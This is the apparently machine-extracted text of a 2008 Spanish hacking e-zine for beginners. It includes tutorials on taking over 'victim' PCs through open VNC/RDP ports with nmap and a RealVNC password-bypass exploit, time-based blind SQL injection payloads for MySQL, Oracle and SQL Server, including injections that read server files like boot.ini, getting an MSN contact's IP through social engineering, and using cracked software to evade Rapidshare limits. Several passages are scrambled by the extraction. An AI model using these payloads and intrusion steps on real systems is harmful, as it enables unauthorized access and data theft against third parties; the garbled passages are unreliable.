Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas...

69

Transcript of Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas...

Page 1: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

!

Page 2: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Joejdf!

1 PORTADA & APENDICE

3 EXPLOTANDO PUERTOS

6 CAMBIAR IP CON HIDEIP

8 RAPIDSHARE PREMIUM

10 INYECCION A CIEGAS

13 UTILIDADES MSN

17 CREAR Y ENCRIPTAR TROYANOS

21 CONOCIMIENTO BASICO EXPLOITS

23 INFECTAR FICHEROS EJECUTABLES

26 APERTURA DE CARPETAS

28 INTRODUCCION AL ASM II

33 MANUAL DE BATCH

38 PROGRAMACION C II

42 TRIANGULO DE PASCAL

44 PROGRAMAR EN ASP

46 TABLA DE CODIGOS CARACTERES

50 PENDRIVE USB DE ARRANQUE EN LINUX

53 TUTORIAL BOTONES

59 TUTO FIRMA

60 SETUP BIOS CMOS

62 INSTALACION DE ASTERISK

66 MODDING GALLERY 3

!

Page 3: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Explotando Puertos CUH e-zine 3ª Edicion

Explotando Puertos By [p3ll3]

Explotando Puertos 5900 y 3899

Antes de empezar el tutorial tenemos que informarnos un poco acerca de lo que vamos a hacer... En realidad este tutorial va a tratar de explicar como podemos controlar un pc remotamente con la ayuda de los administradores de las pc victimas. xD

Que es control remoto ??? Bueno en este caso vamos a tener acceso a todas las funciones de la pc victima como si fuéramos administradores.

Que es o que funcion cumplen los puertos que vamos a utilizar para poder tener control sobre ella ??? Los puertos mencionados arriba son los que utiliza el programa VNC para poder conectarse remotamente

Y el puerto 3899 es el utilizado po

a la pc (en realidad solo el 5900).

r windows para el

ara poder realizar la intrusión necesitamos lo

• Un scanner de puertos. (propio o el que

• El scanner de VNC (para windows solamente,

• En linux solo necesitamos el Krfb que esta

• Y sobre todo mucha paciencia.

Como conocemos una victima ??

uy fácil yo creo que ya hasta ustedes lo saben;

map -P0 -p T:3899,5900 <ip.Victim.a.atacar>

RDP que cumple la misma función del VNC. Psiguiente:

recomendaría es Nmap)

google: “BoztecVNC scanner”), eso si no se quieren complicar la vida.

pre-instalado, por lo menos en Slackware • en la parte de los programas de Internet.

re

Mpara saber si una victima es o no vulnerable simplemente aplicamos el siguiente comando, esto utilizando Nmap: n

es lo que hace?? ste comando fue escogido porque va a hacer un

para decirle al scanner que

ste comando nos va a devolver el siguiente

Porque este comando y que

Eescaneo sencillo a esa ip y a esos puertos. -P0 => hace el escaneo a fuerza. -p => especifico puertos T: => va junto a -p y es son puertos TCP. Eresultado:

Page 4: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Explotando Puertos CUH e-zine 3ª Edicion

Como vemos en la imagen nuestra victima cuenta

mucha explicación ahora como

ienes dos opciones para entrar a la pc, la fácil y la

con muchos puertos abiertos que pueden ser tomados como vulnerabilidades pero lo que nos interesa son las que ya he mencionado antes. Bueno,bueno, ya hago para entrar en el pc ??? Ttodavía mas fácil ,xD .

n linux podemos utilizar Krfb, la forma para entrar

Como entro entonces?? Eseria entonces:

n este caso parece que esta protegido el VNC pero

loit:

para

Ayuda de Nmap

E

no se preocupen que eso se puede solucionar... Para poder loguearse remotamente esta el exp“realvnc_41_bypass” , con la ayuda de este exploit se van a loguear sin necesidad de passwords. -Con windows solamente utilizan el scannerVNC que mencione anteriormente y lograran loguearse (si tiene clave utilizan el mismo exploit), este scanner trae otras utilidades bastante buenas que pueden hacer uso en caso de que no tenga esos puertos vulnerables.

Some Common Scan Ty oot privileges) pes (’*’ options require r* -sS TCP SYN stealth port scan (default if privileged (root)) -sT TCP connect() port scan (default for unprivileged users) * -sU UDP port scan -sP ping scan (Find any reachable machines) * -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) -sV Version scan probes open ports determining service & app names/versions -sR RPC scan (use with other scan types) Some Common Options (none are required, most can be combined): * -O Use TCP/IP fingerprinting to guess remote operating system -p <range> ports to scan. Example range: 1-1024,1080,6666,31337 -F Only scans ports listed in nmap-services -v Verbose. Its use is recommended. Use twice for greater effect. -P0 Don’t ping hosts (needed to scan www.microsoft.com and others) * -Ddecoy_host1,decoy2[,…> Hide scan using many decoys -6 scans via IPv6 rather than IPv4 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve> -oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile> -iL <inputfile> Get targets from file; Use ‘-’ for stdin * -S <your_IP>/-e <devicename> Specify source address or network interface –interactive Go into interactive mode (then press h for help) Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ‘192.88-90.*.*’

ueno por ahora eso fue todo, espero que les haya

Saludos

Bservido el tutorial y que este les haya enseñado o por lo menos los haya motivado a buscar formas de como mejorar esto que acaban de leer.

[p3ll3]

Page 5: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Cambiar IP CUH e-zine 3ª Edicion

Cambiar IP con HideIP By ChUtOReCaRgAdO

Primeramente me presentare, Hola, para los que no me conocen soy José pero más conocido como ChUtOReCaRgAdO y espero que te guste este pequeño aporte que he

hecho. Aprende cambiar tus IP y crear un reseteador

de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide IP Platinum, para que lo puedan usar bien y configurarlo de tal manera que les pueda servir de algo, para los que no saben este soft te cambia tu IP o la oculta. También a crear una reseteador IP dinámicas para que no tengas hacer nada más que apretar un .bat para que tu Ip cambie (solo para IPs dinámicas), Conceptos que debemos saber: IP: (Internet Protocol) es un conjunto de cuatro números cada uno de ellos va desde el 0 al 255, separados por puntos, con los cuales se identifica a un ordenador conectado a una red que corre bajo este protocolo.

Nuestra IP puede ser:

IP Estática (si siempre es la misma) El IP Platinum es especialmente para aquellos que no tienen IP Dinámica (por que cambiar la IP siendo esta es muy fácil) o simplemente si quieres ser anónimo navegando por la web.

IP dinámica (si cuando reiniciamos la conexión cambia). O sea si apagamos el modem o desconectamos el cable Ethernet y luego lo conectamos, nuestra IP Teóricamente cambia.

1. Empezare por enseñar a cambiar tu IP (especial para IP) estática:

Para esto Ocuparemos Hide IP Platinum Bueno para los que no saben el Hide IP-Platinum es para cambiar la IP. De modo que te asigna una IP diferente, esto es muy útil ya que puedes navegar libremente por la red siendo anónimo y lo mas bueno de este soft sirve para evadir la espera en rapishare.com ya que al cambiarte la IP la base de datos de esta Web (rapidshrare.com) no te reconoce, y te dará acceso directo a la descarga del archivo que quieres ahorrándote la larguísima espera de este.

Requerimientos del Sistema:

• Windows 98/2000/XP/2003/Me

• 64 Megabyte Memoria

• 300 MHz CPU

Lo primero que tenemos que hacer es descargar el soft que lo puedes hacer de aquí http://rapidshare.com/files/84262778/Hide_IP_Platinum_v.3.5___Serial.exe Pass: chue-zine O lo puedes buscar en el Google escribiendo esta frase (que siempre funciona) “Hide IP Platinum+ Crack” y lo descargas, una vez que esta lista la descarga lo descomprimes en una carpeta (seguramente tendrá dos archivos, el Programa y uno de texto que es el código de activación) una vez que ya tengas listo ejecutas el archivo .exe

Le das en siguiente, aceptar, siguiente, siguiente, siguiente, Install, finish.

Si todo salió bien, ya estará el soft listo para ser usado, una vez que ejecutes el Soft te saldrá esta ventana

Tienes que darle en esta opción, e ingresas el código que está en archivo anteriormente nombrado (el de texto que viene con el programa, ese que está en la carpeta) una vez insertado el código apretas en Ok y listo, Aparecerá un Icono en la barra de tareas

Page 6: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Cambiar IP CUH e-zine 3ª Edicion

Esto significa que el programa se está poniendo al día (actualizando) en este momento no debes hacer nada con él. Una vez que se ha actualiza en soft buscara en el proxy, una IP y te la dirá

Si te sale esto es que todo resulto bien, tu IP ha sido cambiada

Si sale este Icono es que el IP-platiniun no ha encontrado ningún servidor y lo mejor es cambiar el proxy, mas adelante te enseñare a cambiarlo. Pero primero cámbiale el Lenguaje haciendo doble click en el icono de la barra de tareas te vas a idioma le pones español y dejas tal cual las funciones que trae. Ahora explicare algunas de las funciones más importantes que trae este soft:

Esta opción sale al hacer click con el botón izquierdo del mouse sobre el Icono de la barra de tareas de dicho soft. Stop Hide IP/Hide IP: Es para detener el Hide temporalmente, también lo puedes hacer con las teclas Ctrl+W. Change Proxy: sirve para cambiar el Proxy o sea la IP. También se puede hacer Ctrl + Q. My IP: abre una pág. web , en esta te muestra tu IP actual .Ctrl+D Exit: Cierra el programa. Algunas Recomendaciones: Si se demora demasiado en encontrar una IP puedes cambiar el Proxy ej. A http://rapidshare.com Y en la cadena de caracteres tienes que poner una palabra como ej. “Rapidshare.”

Pero si quieres puedes poner el que te apetezca. Pero cuidado si no sabes que poner, mejor deja todo como esta porque si está mal el proxy el software no funcionará. Si quieres bajar un archivo de http://rapishare.com y al cambiar la IP no puedes descargar el archivo tienes que presionar Ctrl+Q y buscara otra IP Y vas probando si te funciona en http://rapishare.com, hasta que encuentres una que puedas descargar al tiro pero también tienes que ir actualizando la pág. (F5).

Ahora les enseñare a crear un reseteador de IP dinámicas: Cuando tenemos IP dinámica, significa que cada vez que conectamos la internet, nos entrega una IP nueva, pero para hacer esto, hay que reiniciar el Equipo o sacar el cable que conecta la Internet, o apagar el Modem, que es un jaleo enorme, Si lo que quieres es apretar un botón y que se reinicie la conexión a Internet y te cambie la IP sigue leyendo, ya que enseñare a hacer un soft (es muy simple) pero que es muy útil , tenemos que abrir una hoja del block de notas o cualquier editor de texto plano y escribimos lo siguiente: @echo off Ipconfig/flushdns Ipconfig/release Ipconfig/renew Ipconfig /release *Con* Exit Lo guardamos en el escritorio, y le ponemos el nombre que nosotros queramos pero con extensión .bat, listo ya está hecho el reseteador de IP dinámicas. ¿Fácil No?

Saludos, hasta la próxima.

Page 7: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Cuenta Premium En RapidShare CUH e-zine 3ª Edicion

Crear una cuenta Premium En RapidShare By ChUtOReCaRgAdO

COMO CREAR UNA CUENTA

PREMIUM O EXTENDER UNA SI YA LA TIENES EN RAPIDSHARE.COM Perdón por que no lo había dado a conocer directamente al foro ya que

quería algo bueno en mi primer artículo en la Cuh e-Zine (pero luego lo subo al foro).

ES VERDAD!, como dice el titulo en las próximas líneas te enseñare como crear una cuenta (sin gastar ningún dinero) en este servidor de gestión de descarga y como todos saben es uno de los mejores y yo diría el mejor ya que es muy rápido (es porque tiene un acelerador de descarga muy bueno) y que las mejores cosas están alli, como los SOs No libres, software de calidad (muchos), Música, películas y etc. y etc. Pero lo malo de esto es cuando No tienes una cuenta Premium ya que tienes que esperarte varias horas para volver a bajarte un archivo (si es que bajaste algo de 100 Mb, además es lo máximo que puedes descargar con cuenta free, por que cuando uno baja Free solo puede descargar algo igual o menor a 100 Mb) pero si tienes una cuenta Premium bajas todo quieras, tener varias descargas simultáneas, no esperar, sin virus, etc. Pero también lo puedes utilizar para compartir archivos pesados con amigos, familiares, no es para que siempre rompamos las reglas de copy-restrinjido. Aunque hay varis programas que tratan de evadir cambiando la IP (que es el método más que se usa) lo mejor es tener una Cuenta Premium. Ya basta de palabrería y vamos al grano. Para poder hacer nuestra cuenta necesitamos este software Easy Rapidshare Points 3.0. Este con este software haremos lo siguiente (yo hasta esta parte iba muy emocionado por qué me imaginaba otra cosa pero sigue y el premio es grande) Miren lo que hace el “Easy Rapidshare Points 3.0” es ayudarte a hacer puntos, si bien sabes tú puedes ir subiendo cosas a esta web (Rapidshare.com) y llevar un registro de cuantas veces se ha descargado (pero tienes que tener cuenta Free o Premium) y te van dando un punto por cada vez que descarguen un archivo que tú has subido (pero con la cuenta Premium o free). Y para

que nos hagamos una Premium (de un AÑO) o extender la que ya tenéis, hay que acumular 8000 Puntos (hartos verdad) pero con todos estos puntos te dan un año de cuenta Premium. Lo primero que debemos hacer es bajarte este soft de http://rapidshare.com/files/84259641/Easy_Rapidshare_Points_3.exe Pass:chue-zine O tal vez cuando leas esto el link este roto o tal vez la versión vaya en otra más que la 3.0, bueno no te aflijas, te vas al Google y pones la frase mágica que a mí siempre me funciona “Easy Rapidshare Points (versión que buscas)+ crack” . Una vez que lo descargas lo desempaquetas si bajaste mi archivo claro, ya que lo hice un .exe para que no necesites software adicionales para descomprimirlo un ejemplo es WinRar (debería estar el soft y un archivo de texto) si estás listo para instalarlo ejecutas el .exe, si sabes Ingles Lees , pero si no, No leas, pero dice algo sobre que cierres los programas que tienes y ejecución y bla, bla, lo mismo que dicen todos y que nunca hago caso, he igual funcionan, apretar “Next” (siguiente). En esta parte Tienes que llenarlo con algunos datos y donde dice serial tienes que poner uno de los tantos que hay en el archivo de texto que vienes con el paquete que descargaste (¿recuerdas?). Siguiente, eliges donde quieres Instalarlo, siguiente, siguiente. Listo el programa está instalado, una vez instalado no lo ocuparemos al tiro. Ahora tenemos que hacer un archivo que pese más De 1 mega y menos de 2 Mb, lo comprimimos (recomendado), si ya tienes una cuenta Premium seguramente sabes subir archivos, entonces lo subes, pero si no tienes una Cuenta Premium debes hacerte una Free (libre), si no sabes hacerte una sigue leyendo pero si sabes sáltate estas estrofas. Hacerse una cuenta Free en Rapidshare: Abres una pág. web (con el Mozilla Firefox, Internet Explorer, Opera, tu elije el que más te acomode) Nos vamos a: http://rapidshare.com subes el archivo que hemos creado anteriormente, para hacer esto de debes marcar donde dice examine, buscas el archivo que hemos hecho antes y aceptar, luego selecciona unload, esperas que se suba el archivo (el tiempo de espera varía según la velocidad de conexión que tengas) . Una vez que se termine de subir te saldrán los datos; cual es el link, si quieres enviarle el link a amigos,

Page 8: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Cuenta Premium En RapidShare CUH e-zine 3ª Edicion pero para que nos ágamos una cuenta Free tienes que irte al final de la pág. y rellenar con tus datos donde dice “user name” (pones un nombre de usuario para registrarte ej. ChUtOReCaRgAdO, Email tienes que poner tu email verdadero y en “password” una contraseña y aceptas. Si esta todo correcto y te sale una pág. Como la de a continuación, ya tienes tu cuenta Free, pero si no, es que algo quedo mal, vuelve a escribir tu nombre de usuario o contraseña.

Escribimos los datos que hemos puesto anteriormente, tu nombre de usuario y contraseña y apretar “Enter o donde dice “SSL-encrypted Login , si está bien ya estarán dentro de tu cuenta free la pág. que muestra es diferente a la antes ya que ahora sale lo mismo para subir archivos pero abajo sale una lista de los archivos que has subido con la cuenta, ahora tienes que copiar el link del archivo que subimos anteriormente, tienes que llevar el cursor donde aparece un icono de archivo de texto y luego presionas el botón izquierdo del mouse y copias el link (copiar destino), ahora tenemos que abrir el Rapidshare Points, Inicio, todos los programas, Easy Rapidshare Points 3.0, y lo abres, copias el link en la barra de direcciones y apresta Go, entraremos a Rapidshare, tienes que bajarte el archivo, te vas al final de la pág. marcas donde dice Free, luego te vas al medio de la pág. y esperas un minuto, pones Las letras que aparecen y lo descargas, pero la gracia esta que cuando valla en la mitad o un poco mas allá cancelas la descarga, luego repites el proceso una y otra vez.

Es recomendable hacerlo entre hartas personas ya que se avanza mucho más rápido.

En 1 Minuto 1 punto 30 Minutos 30 puntos 1 Hora 60 puntos 1 día 1440 puntos 1 Mes 43.200

PD: yo hace un mes que lo estoy intentando hacerme una, pero para mí es muy difícil ya que no tengo internet y tengo que ir a un ciber. Para ver los puntos que llevas tienes que ingresar a tu cuenta a Rapidshare para ver cuántas veces se ha bajado el archivo. Te metes a la Web y te vas a la sección Free Zone, y te metes en el sub-menú Collector`s zone login, metes tu nombre de usuario y contraseña y listo. También aconsejo otro soft que les puede servir ya que puede hacer varias descargas simultáneas, el Downlop Direct, tienes que instalarlo y aplicarle el crack, luego lo abres :

Y para empezar a descargar presiones donde dice y copias el link pero este a veces lo identifica solo, y comienza a descargar, luego haces lo mismo hasta que ya no se puede poner ninguna descarga, y cuando vallan en la mitad, lo cancelas o remueves uno o todos, y así vas avanzando harto, pero el archivo tiene que estar en .Zip o .rar, y este soft consume muchos recursos, si queremos encontrar el programa que menciono nos vamos al Google y ponemos “Download Direct+crack” SaLuDos y hasta la próxima

By ChUtOReCaRgAdO

Page 9: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Inyeccion a ciegas SQL CUH e-zine 3ª Edicion

INYECCION A CIEGAS DE SQL I PARTE By Alesteir

INYECCION A CIEGAS DE SQL -BLIND SQL INJECTION

Para nadie es un secreto que unas de las mayores vulnerabilidades de

la red son las famosas inyecciones SQL, pero existen variadas técnicas y una de ellas, es la que actualmente se conoce como inyección a ciegas de SQL (blind sql injection), este articulo es una corta introducción y nos ayudara a comprender lo que son y como funcionan dichas técnicas y alguna cosilla mas, en el siguiente numero del e-zine trataremos la forma de explotar dichas vulnerabilidades.

Inyección SQL

Una inyección de código SQL esta basada en una interacción de un intruso con el motor de una base de datos, en la cual el atacante puede obtener y hasta modificar los datos, e incluso el atacante puede llegar a obtener y manipular archivos, con la consecuencia de poder manejar los datos y el sistema a su antojo y con total libertad. Todo ello se debe a la mala validación y filtrado de los datos introducidos por el usuario (Cliente), por parte de la aplicación Web (Servidor) que maneja el gestor de la base de datos, de forma que el intruso puede alterar las sentencias SQL aceptadas por la aplicación server. Injeccion Ciega de SQL Esta técnica se usa cuando una web no muestra los típicos mensajes de error de la base de datos, al no haber un resultado positivo en una consulta especifica, o sea que solo se enviará una respuesta por parte del servidor si el resultado es correcto. Es por ello que sentencias que contengan entre sus condiciones valores comparativos como 1=1 o 0=1 ofrecen respuestas, bien sea respuestas negativas o positivas, esta es la base de esta técnica

de inyección SQL. Ahora Supongamos que tenemos una aplicación web, la cual usa los datos que recibe por parte del usuario (Cliente) para construir sentencias de consulta y de esta forma mostrar la información pertinente (solicitando los datos al Servidor), ahora resulta que llegado el punto, sabemos de su vulnerabilidad y procedemos a inyectar consultas pero no vemos los datos obtenidos, no obstante, podemos distinguir comportamientos distintos entre consultas que muestran datos, y las que no lo hacen, es allí donde basados en valores verdadero (true) o falso (false) que son devueltos por la aplicación, que debemos saber el tipo de inyección ciega pertinente, para de esta manera obtener los datos que deseamos poseer. Para saber si un parámetro es vulnerable a una inyección ciega de sql supongamos que tenemos una web, y la pagina 467, por decir algo un ejemplo: http://www.ejemplo.org/pagina.php?id=467 Entonces añadimos abs() de la siguiente manera: http://www.ejemplo.org/pagina.asp?idpagina=abs(467) Y si la página se muestra correctamente sabremos que la web es vulnerable a un ataque a ciegas de inyección SQL.

Page 10: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Inyeccion a ciegas SQL CUH e-zine 3ª Edicion Inyeccion a ciegas basado en tiempos de respuesta Las primeras referencias en cuanto al tema las hizo Chrish Anley en el documento: Advanced SQL Injection” en el 2002 hacia referencia de la posibilidad de realizar ataques a ciegas basado en tiempos de respuesta , en dicho documento el explicaba códigos, métodos y practicas para hacer consultas sin importar si obteníamos resultados palpables, e indefectiblemente saber si eran ciertas o no, todo ello dependiendo, de el tiempo en que el motor de la base de datos tardaba en dar la respectiva respuesta a la consulta. A partir de allí se empezó a indagar por parte de otras mentes inquietas, pronto se descubrieron parámetros vulnerables a inyección SQL, de forma que sin necesidad de ver los resultados de la consulta, se podían conseguir resultados a partir del tiempo de respuesta dado por el gestor (y con un poco de lógica se podían transforman en datos reales), otros mas osados crearon herramientas para explotar (exploits) dichos parámetros vulnerables a inyecciones ciegas y hasta que con el tiempo se volvió ya todo un tópico, a la hora de penetrar un sistema basado en consultas a un gestor de base de datos. La técnica consiste en generar retardos en las inyecciones, y la mejor forma de usar esta vulnerabilidad, es conociendo las funciones especificas cada motor de base de datos, benchmark (sleep en la versión 5 y posteriores) en mysqlm, waitfor en SQL server, DBMS_Lock.Sleep() en Oracle; por nombrar solo algunas. Veamos pues la forma de inyectar código a ciegas en distintos gestores:

Mysql_ http://server/ejemplo.php?id=35 and exists(select * from Passwords and benchmark(8000000,md5(rand()))=0 Mysql (versiones 5): http://server/ejemplo.asp?id=35 and exists(select * from Passwords) and sleep(8)

Oracle: http://server/ejemplo.php?id=1; begin if (exists(select * from Passwords)) then dbms_lock.sleep(8); end if; end;

Microsoft SQL Server : http://server/ejemplo.php?id=35; if (exists(select * from Passwords)) waitfor delay ‘0:0:8’— En la anterior consulta el motor evalúa si la tabla Passwords existe y si contiene registros, al cumplirse la condición la respuesta se retardará por un lapso de 8 segundos, es bueno recalcar que no todos los gestores permiten la técnica de inyección a ciegas con retardo de tiempo Inyección a ciegas basado en tiempos de respuesta usando consultas pesadas Existe otra técnica que se basa en usar consultas pesadas, las cuales al exigir al motor de bases de datos y de manera obvia generar un retardo de tiempo ante respuestas positivas. Supongamos que sabemos cual es el parámetro vulnerable de una consulta y queremos saber si existe una tabla X en especial, aquí optaríamos por elaborar una consulta que solo haga trabajar al motor un tiempo extra con nuestra consulta pesada si dicha sentencia cumple la condición de que la tabla X exista en la base de datos, de otra forma no lo haría y por lógica el tiempo de respuesta seria distinto, es aquí donde se deben conocer las clausulas y el tipo de condiciones que se pueden llegar a manejar, (tal como sucede con la clausula Where), para así mismo poder elaborar adecuadamente nuestro consulta , para ello se hace necesario conocer la evaluación de las condiciones por parte de los gestores, en el caso de la clausula Where , si la cláusula tiene encadenada sus condiciones por operadores de tipo OR la consulta se evaluará, mientras ninguna condición devuelva un resultado verdadero, contrariamente cuando están encadenadas por operadores de tipo AND las condiciones se evaluarán mientras ninguna devuelva un valor falso, basado en este mecanismo es que se optimiza el tiempo de respuesta para las condiciones, es por ello que los motores tienen un orden a la hora de hacer la evaluación, pero es el programador quien realmente define el orden de las condiciones en una clausula Where, veamos por ejemplo la siguiente consulta: Select nombre from Passwords where nombre=Aleks and pass=qwerty; Select pass from Passwords where nombre=Aleks or pass=qwerty;

En el primer caso usamos una condición AND, si al evaluar la primera condición obtenemos un valor

Page 11: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Inyeccion a ciegas SQL CUH e-zine 3ª Edicion FALSO el gestor no evaluar la otra, en la segunda consulta con el operador OR si la primera condición es VERDADERO no se evalúa la siguiente condición. Sucede que no siempre es el gestor el que realiza la optimización, es entonces donde el programador debe saber la precedencia y el mismo efectuar la optimización, pudiendo ser de izquierda a derecha o viceversa. Actualmente los motores modernos estiman el tiempo de cada condición y evalúan primero la condicional de menos valor en tiempo real de ejecución, esta particularidad es la que nos permite aprovecharnos de este tipo de situación. Imaginemos que tenemos el parámetro vulnerable id_usuario en alguna URL: http://www.ejemplo.org/pagina.asp?id_Usuario=1 Con lo dicho anteriormente, si quisiéramos saber si una tabla existe realizamos más o menos la siguiente consulta: http://www.ejemplo.org/pagina.asp?id_Usuario=1 [nuestra consulta pesada] and exists (select * from Passwords) De lo anterior deducimos que si la tabla claves existe , nuestra consulta pesada se efectuara generando un retraso de tiempo considerable, lo cual nos revelará que efectivamente la tabla Passwords existe y que además posee mas de un registro. La elección de nuestra consulta pesada será la clave a la hora de saber el retardo y por ende saber si nuestra consulta ha sido efectiva. Entonces como elegimos nuestra consulta pesada? La respuesta se da conociendo las tablas internas para cada gestor de base de datos, por ejemplo en SQL Server tendríamos “sysobjects” y en Access tendríamos “MSysObjects”; o tablas propias de la web vulnerable, que por obvias razones nosotros seriamos quienes deduciríamos aquellas tablas que contienen registros, de esta forma podemos medir los tiempos entre una consulta que cumpla las condiciones y una que no. Podemos generar consultas pesadas es unir tablas con otra s y otras hasta generar una cantidad grande de registros de forma que tan que obliguen al servidor a consumir un tiempo medible en procesarlo. Para ello basta con conocer o averiguar o adivinar una tabla del sistema de bases de datos, que tenga algún registro, y unirla consigo misma hasta generar un tiempo medible. Vamos a ver algunos ejemplos. Según lo dicho anteriormente podemos hacer la siguiente consulta en la cual se invierte la condición y así poder comparar los tiempos entre cada una de ellas: http://www.ejemplo.org/pagina.asp?id_Usuario=1 [nuestra consulta pesada] and not exists (select * from claves)

Otras técnicas de Blind SQL Injection

De esta forma ya sabemos que podemos consultar a ciegas cada uno de los elementos del motor de una

base de datos vulnerable, es lógico que dependiendo todo ello de los tipos de privilegios de la cuenta con que accedamos al servidor. También existen otro tipo de técnicas que nos permiten hacernos con archivos directamente del sistema operativo del servidor, con esto ya tenemos casi que un acceso total a la web. Existen distintas funciones en cada gestor por ejemplo en Microsoft SQL Server 2005 tenemos las funciones OpenRowset y BULK que se manejan combinadas, he aquí dos ejemplos :

http://www.ejemplo.org/pagina.php?id=1 and (select datalength(Z) from OpenRowset(BULK 'c:\Boot.ini', SINGLE_CLOB) as t(Z)) >1

http://www.ejemplo.org/pagina.php?id=1 and (select substring(Z,PosByte,1) from OpenRowset(BULK 'c:\ Boot.ini', SINGLE_CLOB) as t(Z)) > 5

Es asi como podríamos automatizar el proceso y obtener todo el contenido del archivo con un código que llame uno a uno los caracteres del archivo que vamos a conseguir.

En MySQL podemos usar la función LOAD_FILE, la cual acepta como parámetro la ruta de el archivo pero en hexadecimal. Ahora si queremos realizar un ataque a el archivo c:Boot.ini debemos primero que todo convertirlo a hexadecimal: 0x633A5C626F6F742E696E69 con esto podemos proceder con la inyección:

http://www.ejemplo.org/pagina.php?id=1 and mid(Load_File(0x633A5C626F6F742E696E69),1,1)=CHAR(34)

La condición será positiva, si la primera letra del archivo corresponde con el carácter ASCII 34., es asi que por medio de automatización y de fuerza bruta podríamos obtener todos los datos de un archivo, alginas herramientas se basan en este método Para saber si una web es vulnerable a una inyección ciega de sql supongamos que tenemos una web, por decir algo un ejemplo: http://www.ejemplo.org/pagina.php?id=467 Entonces añadimos abs() de la siguiente manera: http://www.ejemplo.org/pagina.asp?idpagina=abs(467)

Si la página se muestra correctamente sabremos que la web es vulnerable.

Para la próxima edicion queda la otra parte de este articulo, espero que les guste! Suertes!!!

By Alesteir

Page 12: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion

UTILIDADES MSN >By Ra19<

UTILIDADES MSN

Bueno en este manual basado para newbies, los cuales entran en el mundo de el hacking generalmente

por este lado, por opinión personal no me gusta que en la mayoría de los casos entren para estas cosas pero bueno, les hago un manual para que se puedan “divertir” un poco en lo que no saben usar y siempre les interesó. Empezaremos por un encabezamiento en el cual se mostrara lo que leerán a continuación: 1.- Como sacar el IP de un contacto paso a paso, con diferentes métodos. 2.- Congelar msn. 3.- Bloquear msn. 4.- Hackeo de msn las maneras menos complicadas para newbies. (Solo se darán páginas de interés sobre los temas más fáciles de conseguir un password, pero se explicara todo lo relacionado con lanzadores de exploits)

Como sacar el IP de un contacto pasó a paso, con diferentes métodos. Bueno aquí solo se mostrara como sacar una IP, no detallare que es ni para que se usa tampoco, pero dejare 2 link de interés para los que se quieran informar bien, yo no escribí ninguna de esas 2 cosas y les doy los créditos a ellos. (cualquier duda foro.el-hacker.com lo mejor de lo mejor ;) ) 1 link sobre ip: http://209.85.135.104/search?q=cache:v6BJxMJ13XwJ:foro.el-hacker.com/index.php/topic,112902.0.html+definicion+de+ip+site:foro.el-hacker.com&hl=es&ct=clnk&cd=1&gl=mx 2 link: http://foro.el-hacker.com/index.php/topic,43462.0.html#bot

Solo bajen un poco y hay post sobre todo lo relacionado con un IP. Bueno empecemos, una de las maneras más fáciles sería esto. Abrimos el msn. Iniciamos sesión, etc.… Abrimos la ventana de nuestra victima, en ese momento abrimos inicio>ejecutar>cmd se nos abre una ventana así:

Después a través de ing. social, (deje link abajo para que aprendan lo que es por si acaso) le enviaremos algo:

(Está en francés mí SO pero eso no tiene importancia) Cuando el/ella acepte en el momento de la transferencia abrimos el MS/DOS (lo dicho mas arriba) y escribimos netstat –n, el cual nos dará todas las conexiones establecidas que tiene el PC. (Se recomienda tener todo cerrado menos la ventana de la persona para tener menos conexiones y poder saber cual es) Generalmente hay mas de una IP hay que ir probando. Método 2

P Para esto se necesitan diferentes recursos en la PC. - Windows Live MSN - El PLUS de el Windows live MSN. - IP GET

Page 13: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

